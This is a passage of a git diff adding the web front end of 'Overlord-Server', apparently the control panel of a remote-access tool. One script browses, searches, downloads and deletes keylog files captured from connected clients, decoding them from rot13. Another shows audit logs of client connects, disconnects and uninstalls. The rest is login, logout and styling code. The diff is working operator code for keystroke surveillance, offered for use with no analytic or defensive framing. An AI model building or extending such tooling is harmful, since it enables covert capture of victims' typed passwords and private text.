+ nextMatchBtn.disabled = currentMatchIndex === searchMatches.length - 1;
+
+ // Update highlight classes
+ logContent.querySelectorAll("mark").forEach((mark, idx) => {
+ if (idx === currentMatchIndex) {
+ mark.classList.add("search-current");
+ mark.classList.remove("search-match");
+ } else {
+ mark.classList.remove("search-current");
+ mark.classList.add("search-match");
+ }
+ });
+}
+
+function navigateSearch(direction) {
+ if (searchMatches.length === 0) return;
+
+ if (direction === "next") {
+ currentMatchIndex = Math.min(currentMatchIndex + 1, searchMatches.length - 1);
+ } else {
+ currentMatchIndex = Math.max(currentMatchIndex - 1, 0);
+ }
+
+ scrollToMatch(currentMatchIndex);
+ updateSearchUI();
+}
+
+searchInput.addEventListener("input", (e) => {
+ performSearch(e.target.value);
+});
+
+clearSearchBtn.addEventListener("click", () => {
+ resetSearch();
+});
+
+prevMatchBtn.addEventListener("click", () => {
+ navigateSearch("prev");
+});
+
+nextMatchBtn.addEventListener("click", () => {
+ navigateSearch("next");
+});
+
+searchAllBtn.addEventListener("click", () => {
+ globalSearchModal.classList.remove("hidden");
+ globalSearchInput.focus();
+});
+
+closeGlobalSearchBtn.addEventListener("click", () => {
+ globalSearchModal.classList.add("hidden");
+ if (globalSearchAbortController) {
+ globalSearchAbortController.abort();
+ globalSearchAbortController = null;
+ }
+});
+
+globalSearchModal.addEventListener("click", (e) => {
+ if (e.target === globalSearchModal) {
+ closeGlobalSearchBtn.click();
+ }
+});
+
+let globalSearchTimeout = null;
+globalSearchInput.addEventListener("input", (e) => {
+ const query = e.target.value.trim();
+
+ if (query.length > 0) {
+ globalSearchClearBtn.classList.remove("hidden");
+ } else {
+ globalSearchClearBtn.classList.add("hidden");
+ }
+
+ clearTimeout(globalSearchTimeout);
+
+ if (query.length < 3) {
+ globalSearchResults.innerHTML = `
+
+
+
Enter at least 3 characters to search
+
+ `;
+ globalSearchStats.classList.add("hidden");
+ return;
+ }
+
+ globalSearchTimeout = setTimeout(() => {
+ performGlobalSearch(query);
+ }, 300);
+});
+
+globalSearchClearBtn.addEventListener("click", () => {
+ globalSearchInput.value = "";
+ globalSearchClearBtn.classList.add("hidden");
+ globalSearchResults.innerHTML = `
+
+
+
Enter a search term to find across all log files
+
+ `;
+ globalSearchStats.classList.add("hidden");
+});
+
+async function performGlobalSearch(query) {
+ if (globalSearchAbortController) {
+ globalSearchAbortController.abort();
+ }
+ globalSearchAbortController = new AbortController();
+
+ const files = Array.from(fileIndex.values());
+ const lowerQuery = query.toLowerCase();
+ const results = [];
+
+ globalSearchResults.innerHTML = `
+
+
+
Searching through ${files.length} files...
+
+ `;
+ globalSearchStats.classList.remove("hidden");
+ globalSearchProgress.textContent = "Searching...";
+ globalSearchCount.textContent = "";
+
+ let processedCount = 0;
+
+ for (const file of files) {
+ if (globalSearchAbortController.signal.aborted) {
+ return;
+ }
+
+ try {
+ let content = globalSearchCache.get(file.name);
+
+ if (!content) {
+ content = await loadFileContent(file.name);
+ globalSearchCache.set(file.name, content);
+ }
+
+ const lowerContent = content.toLowerCase();
+ const matches = [];
+ let index = 0;
+
+ while ((index = lowerContent.indexOf(lowerQuery, index)) !== -1) {
+ const start = Math.max(0, index - 50);
+ const end = Math.min(content.length, index + query.length + 50);
+ let context = content.substring(start, end);
+
+ if (start > 0) context = "..." + context;
+ if (end < content.length) context = context + "...";
+
+ matches.push({
+ index,
+ context,
+ line: content.substring(0, index).split("\n").length
+ });
+
+ index += query.length;
+ }
+
+ if (matches.length > 0) {
+ results.push({
+ file: file.name,
+ date: file.date,
+ matches
+ });
+ }
+
+ processedCount++;
+ globalSearchProgress.textContent = `Searched ${processedCount} / ${files.length} files`;
+
+ } catch (err) {
+ console.error(`Failed to search ${file.name}:`, err);
+ }
+ }
+
+ displayGlobalSearchResults(results, query);
+}
+
+function loadFileContent(filename) {
+ return new Promise((resolve, reject) => {
+ let resolved = false;
+ const timeout = setTimeout(() => {
+ if (!resolved) {
+ reject(new Error("Timeout loading file"));
+ }
+ }, 10000);
+
+ const handler = (event) => {
+ const msg = decodeMsgpack(event.data);
+ if (msg && msg.type === "keylog_file_content" && msg.filename === filename) {
+ clearTimeout(timeout);
+ resolved = true;
+ ws.removeEventListener("message", handler);
+ resolve(rot13Decode(msg.content || ""));
+ }
+ };
+
+ ws.addEventListener("message", handler);
+ send({ type: "keylog_retrieve", filename });
+ });
+}
+
+function displayGlobalSearchResults(results, query) {
+ const totalMatches = results.reduce((sum, r) => sum + r.matches.length, 0);
+
+ globalSearchProgress.textContent = "Search complete";
+ globalSearchCount.textContent = `Found ${totalMatches} matches in ${results.length} files`;
+
+ if (results.length === 0) {
+ globalSearchResults.innerHTML = `
+
+
+
No matches found for "${escapeHtml(query)}"
+
+ `;
+ return;
+ }
+
+ const html = results.map(result => `
+
+
+
+
+ ${escapeHtml(result.file)}
+ ${formatDate(result.date)}
+
+
+ ${result.matches.length} match${result.matches.length !== 1 ? 'es' : ''}
+
+
+
+ ${result.matches.slice(0, 5).map((match, idx) => `
+
+
Line ${match.line}
+
${highlightQueryInContext(match.context, query)}
+
+ `).join('')}
+ ${result.matches.length > 5 ? `
+
+ +${result.matches.length - 5} more matches
+
+ ` : ''}
+
+
+ `).join('');
+
+ globalSearchResults.innerHTML = html;
+}
+
+globalSearchResults.addEventListener("click", (e) => {
+ const resultDiv = e.target.closest(".global-search-result");
+ if (resultDiv) {
+ const filename = resultDiv.dataset.filename;
+ const query = resultDiv.dataset.query;
+ const targetIndex = parseInt(resultDiv.dataset.index, 10);
+ openFileWithSearch(filename, query, targetIndex);
+ }
+});
+
+function highlightQueryInContext(context, query) {
+ const escaped = escapeHtml(context);
+ const regex = new RegExp(`(${escapeRegex(query)})`, 'gi');
+ return escaped.replace(regex, '$1 ');
+}
+
+function openFileWithSearch(filename, query, targetIndex) {
+ globalSearchModal.classList.add("hidden");
+ requestFileContent(filename);
+
+ setTimeout(() => {
+ searchInput.value = query;
+ performSearch(query);
+
+ if (typeof targetIndex === 'number' && searchMatches.length > 0) {
+ setTimeout(() => {
+ const matchIdx = searchMatches.indexOf(targetIndex);
+ if (matchIdx !== -1) {
+ currentMatchIndex = matchIdx;
+ scrollToMatch(matchIdx);
+ updateSearchUI();
+ }
+ }, 100);
+ }
+ }, 500);
+}
+
+refreshBtn.addEventListener("click", () => {
+ requestFileList();
+ window.showToast("Refreshing file list...", "info");
+});
+
+clearBtn.addEventListener("click", () => {
+ if (
+ confirm(
+ "Are you sure you want to clear all keylog files? This action cannot be undone."
+ )
+ ) {
+ requestClearAll();
+ }
+});
+
+closeViewerBtn.addEventListener("click", () => {
+ logViewer.classList.add("hidden");
+});
+
+fileList.addEventListener("click", (event) => {
+ const target = event.target.closest("button");
+ if (!target) return;
+ const filename = target.dataset.filename;
+ if (!filename) return;
+
+ if (target.classList.contains("view-log-btn")) {
+ requestFileContent(filename);
+ return;
+ }
+
+ if (target.classList.contains("download-log-btn")) {
+ pendingDownload = filename;
+ requestFileContent(filename);
+ return;
+ }
+
+ if (target.classList.contains("delete-log-btn")) {
+ if (confirm(`Delete ${filename}? This cannot be undone.`)) {
+ requestDeleteFile(filename);
+ }
+ }
+});
+
+import("/assets/nav.js");
+connect();
diff --git a/Overlord-Server/public/assets/login.js b/Overlord-Server/public/assets/login.js
new file mode 100644
index 0000000..74f7a27
--- /dev/null
+++ b/Overlord-Server/public/assets/login.js
@@ -0,0 +1,253 @@
+const form = document.getElementById("login-form");
+const user = document.getElementById("user");
+const pass = document.getElementById("pass");
+const errEl = document.getElementById("error");
+
+if (typeof anime !== "undefined") {
+ const particles = document.querySelectorAll(".particle");
+ particles.forEach((particle, i) => {
+ anime({
+ targets: particle,
+ translateX: () => anime.random(-100, 100),
+ translateY: () => anime.random(-100, 100),
+ scale: () => anime.random(0.5, 1.5),
+ opacity: [0, 0.6, 0],
+ duration: () => anime.random(3000, 6000),
+ delay: i * 200,
+ easing: "easeInOutQuad",
+ loop: true,
+ });
+ });
+
+ anime
+ .timeline()
+ .add({
+ targets: ".login-card",
+ opacity: [0, 1],
+ translateY: [30, 0],
+ duration: 800,
+ easing: "easeOutExpo",
+ })
+ .add(
+ {
+ targets: ".login-crown-wrapper",
+ scale: [0, 1],
+ rotate: [180, 0],
+ duration: 600,
+ easing: "easeOutBack",
+ },
+ "-=400",
+ )
+ .add(
+ {
+ targets: ".login-brand",
+ opacity: [0, 1],
+ translateY: [-10, 0],
+ duration: 500,
+ easing: "easeOutQuad",
+ },
+ "-=300",
+ )
+ .add(
+ {
+ targets: ".login-title, .login-subtitle",
+ opacity: [0, 1],
+ translateY: [10, 0],
+ duration: 500,
+ delay: anime.stagger(100),
+ easing: "easeOutQuad",
+ },
+ "-=300",
+ )
+ .add(
+ {
+ targets: ".form-group",
+ opacity: [0, 1],
+ translateY: [15, 0],
+ duration: 500,
+ delay: anime.stagger(100),
+ easing: "easeOutQuad",
+ },
+ "-=300",
+ )
+ .add(
+ {
+ targets: ".login-btn",
+ opacity: [0, 1],
+ scale: [0.95, 1],
+ duration: 400,
+ easing: "easeOutQuad",
+ },
+ "-=200",
+ );
+
+ anime({
+ targets: ".login-crown",
+ scale: [1, 1.1, 1],
+ duration: 2000,
+ easing: "easeInOutQuad",
+ loop: true,
+ });
+
+ const loginBtn = document.querySelector(".login-btn");
+ if (loginBtn) {
+ const prefersReducedMotion = window.matchMedia(
+ "(prefers-reduced-motion: reduce)",
+ ).matches;
+ let particleInterval = prefersReducedMotion ? 0 : 220;
+ let currentInterval;
+
+ function createParticle() {
+ const btnRect = loginBtn.getBoundingClientRect();
+ const particle = document.createElement("div");
+ particle.className = "login-btn-particle";
+
+ const edge = Math.random();
+ let startX, startY, moveX, moveY;
+
+ if (edge < 0.7) {
+ startX = btnRect.left + Math.random() * btnRect.width;
+ startY = btnRect.bottom;
+ moveX = anime.random(-20, 20);
+ moveY = anime.random(40, 80);
+ } else if (edge < 0.8) {
+ startX = btnRect.left;
+ startY = btnRect.top + Math.random() * btnRect.height;
+ moveX = anime.random(-50, -25);
+ moveY = anime.random(-15, 25);
+ } else if (edge < 0.9) {
+ startX = btnRect.right;
+ startY = btnRect.top + Math.random() * btnRect.height;
+ moveX = anime.random(25, 50);
+ moveY = anime.random(-15, 25);
+ } else {
+ startX = btnRect.left + Math.random() * btnRect.width;
+ startY = btnRect.top;
+ moveX = anime.random(-25, 25);
+ moveY = anime.random(-50, -25);
+ }
+
+ const size = anime.random(3, 7);
+ particle.style.width = size + "px";
+ particle.style.height = size + "px";
+ particle.style.left = startX + "px";
+ particle.style.top = startY + "px";
+
+ document.body.appendChild(particle);
+
+ anime({
+ targets: particle,
+ translateX: [0, moveX],
+ translateY: [0, moveY],
+ opacity: [0, 0.9, 0.7, 0],
+ scale: [0.5, 1, 0.8, 0.3],
+ rotate: anime.random(-180, 180),
+ duration: anime.random(1200, 2000),
+ easing: "easeOutQuad",
+ complete: () => particle.remove(),
+ });
+ }
+
+ function startParticles(interval) {
+ if (currentInterval) clearInterval(currentInterval);
+ if (interval > 0) {
+ currentInterval = setInterval(createParticle, interval);
+ }
+ }
+
+ startParticles(particleInterval);
+
+ loginBtn.addEventListener("mouseenter", () => {
+ if (!prefersReducedMotion) {
+ startParticles(120);
+ }
+ });
+
+ loginBtn.addEventListener("mouseleave", () => {
+ startParticles(particleInterval);
+ });
+ }
+
+ document.querySelectorAll(".input-animated input").forEach((input) => {
+ input.addEventListener("focus", (e) => {
+ anime({
+ targets: e.target.parentElement,
+ scale: [1, 1.02],
+ duration: 200,
+ easing: "easeOutQuad",
+ });
+ });
+
+ input.addEventListener("blur", (e) => {
+ anime({
+ targets: e.target.parentElement,
+ scale: [1.02, 1],
+ duration: 200,
+ easing: "easeOutQuad",
+ });
+ });
+ });
+}
+
+form?.addEventListener("submit", async (e) => {
+ e.preventDefault();
+ errEl.textContent = "";
+
+ const submitBtn = e.target.querySelector('button[type="submit"]');
+ if (typeof anime !== "undefined" && submitBtn) {
+ anime({
+ targets: submitBtn,
+ scale: [1, 0.95, 1],
+ duration: 300,
+ easing: "easeInOutQuad",
+ });
+ }
+
+ try {
+ const res = await fetch("/api/login", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ user: user.value, pass: pass.value }),
+ });
+
+ if (!res.ok) {
+ const data = await res.json();
+ throw new Error(data.error || "Invalid credentials");
+ }
+
+ const data = await res.json();
+
+ if (data.user && data.user.mustChangePassword) {
+ sessionStorage.setItem("temp_token", data.token);
+ sessionStorage.setItem("temp_user", JSON.stringify(data.user));
+
+ window.location.href = "/change-password.html";
+ } else {
+ window.location.href = "/";
+ }
+ } catch (err) {
+ errEl.textContent = err.message || "Login failed";
+
+ if (typeof anime !== "undefined") {
+ anime({
+ targets: ".login-card",
+ translateX: [
+ { value: -10, duration: 100 },
+ { value: 10, duration: 100 },
+ { value: -10, duration: 100 },
+ { value: 10, duration: 100 },
+ { value: 0, duration: 100 },
+ ],
+ easing: "easeInOutQuad",
+ });
+
+ anime({
+ targets: "#error",
+ opacity: [0, 1],
+ translateY: [-5, 0],
+ duration: 300,
+ easing: "easeOutQuad",
+ });
+ }
+ }
+});
diff --git a/Overlord-Server/public/assets/logout.js b/Overlord-Server/public/assets/logout.js
new file mode 100644
index 0000000..8cfd9c9
--- /dev/null
+++ b/Overlord-Server/public/assets/logout.js
@@ -0,0 +1,19 @@
+window.handleLogout = async function () {
+ if (!confirm("Are you sure you want to logout?")) return;
+
+ try {
+ const res = await fetch("/api/logout", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ });
+
+ if (res.ok) {
+ window.location.href = "/";
+ } else {
+ alert("Logout failed. Please try again.");
+ }
+ } catch (err) {
+ console.error("Logout error:", err);
+ alert("Logout failed. Please try again.");
+ }
+};
diff --git a/Overlord-Server/public/assets/logs.js b/Overlord-Server/public/assets/logs.js
new file mode 100644
index 0000000..fc0e36c
--- /dev/null
+++ b/Overlord-Server/public/assets/logs.js
@@ -0,0 +1,201 @@
+const logsContainer = document.getElementById("logs-container");
+const logsEmpty = document.getElementById("logs-empty");
+const lastUpdate = document.getElementById("last-update");
+const clientFilter = document.getElementById("client-filter");
+const startDateInput = document.getElementById("start-date");
+const endDateInput = document.getElementById("end-date");
+const refreshBtn = document.getElementById("refresh-btn");
+const prevPageBtn = document.getElementById("prev-page");
+const nextPageBtn = document.getElementById("next-page");
+const pageInfo = document.getElementById("page-info");
+
+const actionLabels = {
+ client_first_connect: {
+ label: "First Connect",
+ className: "bg-emerald-900/40 text-emerald-200 border border-emerald-800",
+ icon: "fa-plug-circle-bolt",
+ },
+ client_reconnect: {
+ label: "Reconnect",
+ className: "bg-blue-900/40 text-blue-200 border border-blue-800",
+ icon: "fa-rotate",
+ },
+ client_disconnect: {
+ label: "Disconnect",
+ className: "bg-orange-900/40 text-orange-200 border border-orange-800",
+ icon: "fa-plug-circle-xmark",
+ },
+ uninstall: {
+ label: "Uninstall",
+ className: "bg-rose-900/40 text-rose-200 border border-rose-800",
+ icon: "fa-trash",
+ },
+};
+
+let page = 1;
+const pageSize = 50;
+let total = 0;
+
+function formatTimestamp(ts) {
+ if (!ts) return "-";
+ const date = new Date(ts);
+ return `${date.toLocaleDateString()} ${date.toLocaleTimeString()}`;
+}
+
+function escapeHtml(text) {
+ const div = document.createElement("div");
+ div.textContent = text || "";
+ return div.innerHTML;
+}
+
+function parseDetails(details) {
+ if (!details) return "";
+ try {
+ const parsed = JSON.parse(details);
+ return escapeHtml(JSON.stringify(parsed));
+ } catch {
+ return escapeHtml(details);
+ }
+}
+
+function getSelectedActions() {
+ return Array.from(document.querySelectorAll(".action-checkbox"))
+ .filter((el) => el.checked)
+ .map((el) => el.value);
+}
+
+function buildQuery() {
+ const params = new URLSearchParams();
+ params.set("page", String(page));
+ params.set("pageSize", String(pageSize));
+
+ const actions = getSelectedActions();
+ if (actions.length > 0) {
+ params.set("actions", actions.join(","));
+ }
+
+ const clientId = clientFilter?.value?.trim();
+ if (clientId) {
+ params.set("clientId", clientId);
+ }
+
+ if (startDateInput?.value) {
+ const ts = new Date(startDateInput.value).getTime();
+ if (!Number.isNaN(ts)) params.set("startDate", String(ts));
+ }
+
+ if (endDateInput?.value) {
+ const ts = new Date(endDateInput.value).getTime();
+ if (!Number.isNaN(ts)) params.set("endDate", String(ts));
+ }
+
+ return params;
+}
+
+function renderLogs(logs) {
+ if (!logsContainer || !logsEmpty) return;
+
+ logsContainer.innerHTML = "";
+ if (!logs || logs.length === 0) {
+ logsEmpty.classList.remove("hidden");
+ return;
+ }
+ logsEmpty.classList.add("hidden");
+
+ logsContainer.innerHTML = logs
+ .map((log) => {
+ const meta = actionLabels[log.action] || {
+ label: log.action,
+ className: "bg-slate-800/60 text-slate-200 border border-slate-700",
+ icon: "fa-circle-info",
+ };
+ const clientId = log.targetClientId || "-";
+ const shortId = clientId.length > 8 ? `${clientId.slice(0, 8)}...` : clientId;
+ const detailText = parseDetails(log.details);
+
+ return `
+
+
+
+
+
+ ${meta.label}
+
+
+ Client: ${escapeHtml(shortId)}
+
+
+
${formatTimestamp(log.timestamp)}
+
+
+ IP: ${escapeHtml(log.ip || "-")}
+ User: ${escapeHtml(log.username || "-")}
+
+ ${detailText ? `
Details: ${detailText}
` : ""}
+
+ `;
+ })
+ .join("");
+}
+
+async function loadLogs() {
+ try {
+ const params = buildQuery();
+ const res = await fetch(`/api/audit-logs?${params.toString()}`);
+ if (!res.ok) {
+ throw new Error("Failed to load logs");
+ }
+ const data = await res.json();
+ total = data.total || 0;
+ renderLogs(data.logs || []);
+
+ const totalPages = Math.max(1, Math.ceil(total / pageSize));
+ if (pageInfo) pageInfo.textContent = `Page ${page} of ${totalPages}`;
+
+ if (prevPageBtn) prevPageBtn.disabled = page <= 1;
+ if (nextPageBtn) nextPageBtn.disabled = page >= totalPages;
+
+ if (lastUpdate) lastUpdate.textContent = new Date().toLocaleTimeString();
+ } catch (err) {
+ console.error("Failed to load logs", err);
+ if (logsContainer) {
+ logsContainer.innerHTML = `
+ Failed to load logs. Please try again.
+ `;
+ }
+ }
+}
+
+function resetAndLoad() {
+ page = 1;
+ loadLogs();
+}
+
+let debounceTimer = null;
+function debounceLoad() {
+ if (debounceTimer) window.clearTimeout(debounceTimer);
+ debounceTimer = window.setTimeout(() => resetAndLoad(), 300);
+}
+
+clientFilter?.addEventListener("input", debounceLoad);
+startDateInput?.addEventListener("change", resetAndLoad);
+endDateInput?.addEventListener("change", resetAndLoad);
+refreshBtn?.addEventListener("click", resetAndLoad);
+
+Array.from(document.querySelectorAll(".action-checkbox")).forEach((cb) => {
+ cb.addEventListener("change", resetAndLoad);
+});
+
+prevPageBtn?.addEventListener("click", () => {
+ if (page > 1) {
+ page -= 1;
+ loadLogs();
+ }
+});
+
+nextPageBtn?.addEventListener("click", () => {
+ page += 1;
+ loadLogs();
+});
+
+loadLogs();
diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css
new file mode 100644
index 0000000..92a7cef
--- /dev/null
+++ b/Overlord-Server/public/assets/main.css
@@ -0,0 +1,1883 @@
+:root {
+ color-scheme: dark;
+ font-family:
+ "Inter",
+ "Segoe UI",
+ system-ui,
+ -apple-system,
+ sans-serif;
+ background: #04070d;
+ color: #e8edf2;
+
+ /* Design tokens */
+ --radius-lg: 14px;
+ --radius-md: 10px;
+ --radius-sm: 8px;
+ --radius-full: 999px;
+
+ --text-xs: 0.75rem;
+ --text-sm: 0.8125rem;
+ --text-base: 0.875rem;
+ --text-lg: 1rem;
+ --text-xl: 1.25rem;
+ --text-2xl: 1.5rem;
+ --text-3xl: 1.75rem;
+
+ --color-text: #e8edf2;
+ --color-text-muted: #9db1cc;
+ --color-text-bright: #f8fbff;
+ --color-surface: rgba(40, 55, 90, 0.3);
+ --color-surface-dark: rgba(20, 26, 40, 0.7);
+ --color-border: rgba(255, 255, 255, 0.08);
+ --color-primary: #6366f1;
+ --color-primary-hover: #818cf8;
+ --color-success: #22c55e;
+ --color-danger: #ef4444;
+}
+
+:root:not(.app-ready) #app-loader {
+ opacity: 1;
+ visibility: visible;
+}
+
+:root.app-ready #app-loader {
+ opacity: 0;
+ visibility: hidden;
+}
+
+#app-loader {
+ position: fixed;
+ inset: 0;
+ z-index: 9999;
+ display: grid;
+ place-items: center;
+ background: rgba(2, 6, 23, 0.92);
+ backdrop-filter: blur(8px);
+ transition: opacity 420ms ease, visibility 420ms ease;
+}
+
+.app-loader-bg {
+ position: absolute;
+ inset: 0;
+ background:
+ radial-gradient(60% 50% at 20% 20%, rgba(56, 189, 248, 0.22), transparent 70%),
+ radial-gradient(50% 45% at 80% 10%, rgba(99, 102, 241, 0.2), transparent 72%),
+ radial-gradient(65% 55% at 50% 100%, rgba(16, 185, 129, 0.12), transparent 75%);
+ animation: loaderBgPulse 5.2s ease-in-out infinite alternate;
+}
+
+.app-loader-core {
+ position: relative;
+ width: min(440px, 88vw);
+ padding: 34px 24px 24px;
+ border-radius: 18px;
+ border: 1px solid rgba(99, 102, 241, 0.3);
+ background:
+ linear-gradient(150deg, rgba(15, 23, 42, 0.92), rgba(10, 15, 30, 0.96));
+ box-shadow:
+ 0 20px 46px rgba(0, 0, 0, 0.5),
+ 0 0 0 1px rgba(129, 140, 248, 0.1);
+ display: grid;
+ justify-items: center;
+ gap: 8px;
+ overflow: hidden;
+}
+
+.app-loader-core::before {
+ content: "";
+ position: absolute;
+ inset: 0;
+ background: linear-gradient(
+ 110deg,
+ transparent 20%,
+ rgba(129, 140, 248, 0.14) 50%,
+ transparent 80%
+ );
+ transform: translateX(-120%);
+ animation: loaderSweep 2.6s linear infinite;
+ pointer-events: none;
+}
+
+.loader-rings {
+ position: relative;
+ width: 86px;
+ height: 86px;
+ margin-bottom: 4px;
+}
+
+.loader-ring {
+ position: absolute;
+ inset: 0;
+ border-radius: 999px;
+ border: 2px solid transparent;
+}
+
+.ring-a {
+ border-top-color: rgba(56, 189, 248, 0.95);
+ border-right-color: rgba(99, 102, 241, 0.65);
+ animation: loaderSpin 1.1s linear infinite;
+}
+
+.ring-b {
+ inset: 8px;
+ border-left-color: rgba(34, 197, 94, 0.9);
+ border-bottom-color: rgba(56, 189, 248, 0.6);
+ animation: loaderSpinReverse 1.6s linear infinite;
+}
+
+.ring-c {
+ inset: 18px;
+ border-top-color: rgba(186, 230, 253, 0.95);
+ border-right-color: rgba(129, 140, 248, 0.7);
+ animation: loaderSpin 0.9s linear infinite;
+}
+
+.loader-brand {
+ font-size: 0.85rem;
+ text-transform: uppercase;
+ letter-spacing: 0.22em;
+ color: rgba(148, 163, 184, 0.95);
+}
+
+.loader-title {
+ font-size: 1.45rem;
+ font-weight: 700;
+ letter-spacing: 0.01em;
+ color: #e2e8f0;
+ text-shadow: 0 0 18px rgba(99, 102, 241, 0.25);
+}
+
+.loader-percent {
+ font-size: 2rem;
+ font-weight: 700;
+ font-variant-numeric: tabular-nums;
+ color: #c7d2fe;
+ margin-top: 2px;
+}
+
+.loader-track {
+ width: min(340px, 76vw);
+ height: 10px;
+ border-radius: 999px;
+ background: rgba(30, 41, 59, 0.9);
+ border: 1px solid rgba(99, 102, 241, 0.22);
+ overflow: hidden;
+ margin-top: 8px;
+}
+
+.loader-bar {
+ width: 0;
+ height: 100%;
+ border-radius: inherit;
+ background: linear-gradient(
+ 90deg,
+ rgba(56, 189, 248, 0.9),
+ rgba(99, 102, 241, 0.95),
+ rgba(34, 197, 94, 0.88)
+ );
+ box-shadow: 0 0 14px rgba(56, 189, 248, 0.38);
+ transition: width 120ms ease-out;
+}
+
+@keyframes loaderSpin {
+ to {
+ transform: rotate(360deg);
+ }
+}
+
+@keyframes loaderSpinReverse {
+ to {
+ transform: rotate(-360deg);
+ }
+}
+
+@keyframes loaderBgPulse {
+ 0% {
+ filter: saturate(0.95) brightness(0.95);
+ }
+ 100% {
+ filter: saturate(1.1) brightness(1.06);
+ }
+}
+
+@keyframes loaderSweep {
+ to {
+ transform: translateX(120%);
+ }
+}
+
+* {
+ box-sizing: border-box;
+}
+body {
+ margin: 0;
+ min-height: 100vh;
+ background:
+ radial-gradient(120% 120% at 20% 20%, #102040 0%, transparent 45%),
+ radial-gradient(110% 110% at 80% 0%, #112233 0%, transparent 50%), #05070f;
+ background-attachment: fixed;
+}
+
+a {
+ color: inherit;
+ text-decoration: none;
+}
+
+.topbar {
+ position: sticky;
+ top: 0;
+ z-index: 10;
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ gap: 10px;
+ padding: 14px 20px;
+ background: rgba(10, 15, 25, 0.9);
+ border-bottom: 1px solid var(--color-border);
+ backdrop-filter: blur(12px);
+}
+.brand {
+ font-weight: 700;
+ letter-spacing: 0.5px;
+ display: flex;
+ gap: 8px;
+ align-items: center;
+}
+.nav {
+ display: flex;
+ gap: 12px;
+ flex-wrap: wrap;
+}
+.nav a {
+ padding: 7px 12px;
+ border-radius: var(--radius-md);
+ color: #c5ced8;
+ display: inline-flex;
+ gap: 8px;
+ align-items: center;
+}
+.nav a.active,
+.nav a:hover {
+ background: rgba(255, 255, 255, 0.08);
+ color: #fff;
+}
+.user-pill {
+ padding: 7px 12px;
+ border-radius: var(--radius-full);
+ background: rgba(255, 255, 255, 0.08);
+ display: inline-flex;
+ gap: 8px;
+ align-items: center;
+ color: #dfe7f2;
+}
+.login-body {
+ display: grid;
+ place-items: center;
+ min-height: 100vh;
+ background: #05070f;
+ position: relative;
+ overflow: hidden;
+}
+
+.login-body::before {
+ content: "";
+ position: absolute;
+ inset: -20%;
+ background:
+ radial-gradient(
+ 40% 40% at 20% 20%,
+ rgba(99, 230, 226, 0.28),
+ transparent 55%
+ ),
+ radial-gradient(
+ 35% 35% at 80% 30%,
+ rgba(111, 179, 255, 0.25),
+ transparent 55%
+ ),
+ linear-gradient(120deg, rgba(56, 189, 248, 0.18), rgba(59, 130, 246, 0.08));
+ filter: blur(40px);
+ animation: gradientShift 18s ease-in-out infinite alternate;
+ opacity: 0.9;
+ pointer-events: none;
+}
+
+/* .container removed — collided with Tailwind's container utility */
+.section-header {
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ gap: 12px;
+ flex-wrap: wrap;
+}
+h1 {
+ margin: 0 0 6px 0;
+ font-size: 26px;
+}
+p {
+ margin: 0;
+}
+.muted {
+ color: var(--color-text-muted);
+}
+.pill {
+ display: inline-flex;
+ align-items: center;
+ gap: 6px;
+ font-size: var(--text-xs);
+ padding: 6px 10px;
+ border-radius: var(--radius-full);
+ border: 1px solid var(--color-border);
+ background: rgba(255, 255, 255, 0.04);
+ color: #dfe7f2;
+}
+.pill i {
+ font-size: 12px;
+}
+.pill-online {
+ background: rgba(16, 185, 129, 0.16);
+ color: #bbf7d0;
+ border-color: rgba(16, 185, 129, 0.3);
+}
+.pill-ghost {
+ background: rgba(255, 255, 255, 0.04);
+ color: #cbd5e1;
+}
+.pill-unknown {
+ background: rgba(148, 163, 184, 0.16);
+ color: #e2e8f0;
+ border-color: rgba(148, 163, 184, 0.32);
+}
+.pill-win {
+ background: linear-gradient(
+ 135deg,
+ rgba(59, 130, 246, 0.18),
+ rgba(14, 165, 233, 0.14)
+ );
+ color: #bfdbfe;
+ border-color: rgba(59, 130, 246, 0.35);
+}
+.pill-mac {
+ background: rgba(209, 213, 219, 0.12);
+ color: #f8fafc;
+ border-color: rgba(209, 213, 219, 0.22);
+}
+.pill-ubuntu {
+ background: rgba(249, 115, 22, 0.16);
+ color: #fed7aa;
+ border-color: rgba(249, 115, 22, 0.3);
+}
+.pill-debian {
+ background: rgba(236, 72, 153, 0.16);
+ color: #fbcfe8;
+ border-color: rgba(236, 72, 153, 0.32);
+}
+.pill-arch {
+ background: rgba(34, 211, 238, 0.16);
+ color: #a5f3fc;
+ border-color: rgba(34, 211, 238, 0.32);
+}
+.pill-fedora {
+ background: rgba(59, 130, 246, 0.16);
+ color: #c7d2fe;
+ border-color: rgba(59, 130, 246, 0.32);
+}
+.pill-linux {
+ background: rgba(16, 185, 129, 0.14);
+ color: #bbf7d0;
+ border-color: rgba(16, 185, 129, 0.28);
+}
+.pill-x64 {
+ background: rgba(94, 234, 212, 0.14);
+ color: #ccfbf1;
+ border-color: rgba(94, 234, 212, 0.24);
+}
+.pill-arm {
+ background: rgba(14, 165, 233, 0.14);
+ color: #bae6fd;
+ border-color: rgba(14, 165, 233, 0.24);
+}
+.pill-version {
+ background: rgba(244, 114, 182, 0.16);
+ color: #fbcfe8;
+ border-color: rgba(244, 114, 182, 0.28);
+}
+
+/* .grid removed — was colliding with Tailwind's grid utility (display: grid) */
+.card {
+ background: linear-gradient(
+ 145deg,
+ var(--color-surface),
+ var(--color-surface-dark)
+ );
+ border: 1px solid var(--color-border);
+ border-radius: var(--radius-lg);
+ padding: 12px 14px;
+ box-shadow: 0 12px 32px rgba(0, 0, 0, 0.35);
+}
+.card.card-offline {
+ background: linear-gradient(
+ 145deg,
+ rgba(10, 14, 24, 0.7),
+ rgba(4, 6, 12, 0.9)
+ );
+ border-color: rgba(71, 85, 105, 0.5);
+ filter: saturate(0.55);
+ opacity: 0.85;
+}
+.pill-offline {
+ background: rgba(51, 65, 85, 0.3);
+ color: #94a3b8;
+ border-color: rgba(71, 85, 105, 0.55);
+}
+.card::before {
+ content: "";
+ position: absolute;
+ inset: 0;
+ z-index: 0;
+ pointer-events: none;
+ background: var(
+ --card-accent,
+ radial-gradient(
+ circle at 20% 20%,
+ rgba(99, 102, 241, 0.08),
+ transparent 45%
+ )
+ );
+ opacity: 1;
+}
+.card > * {
+ position: relative;
+ z-index: 1;
+}
+.tone-pill-ubuntu {
+ --card-accent:
+ radial-gradient(
+ circle at 20% 20%,
+ rgba(249, 115, 22, 0.12),
+ transparent 45%
+ ),
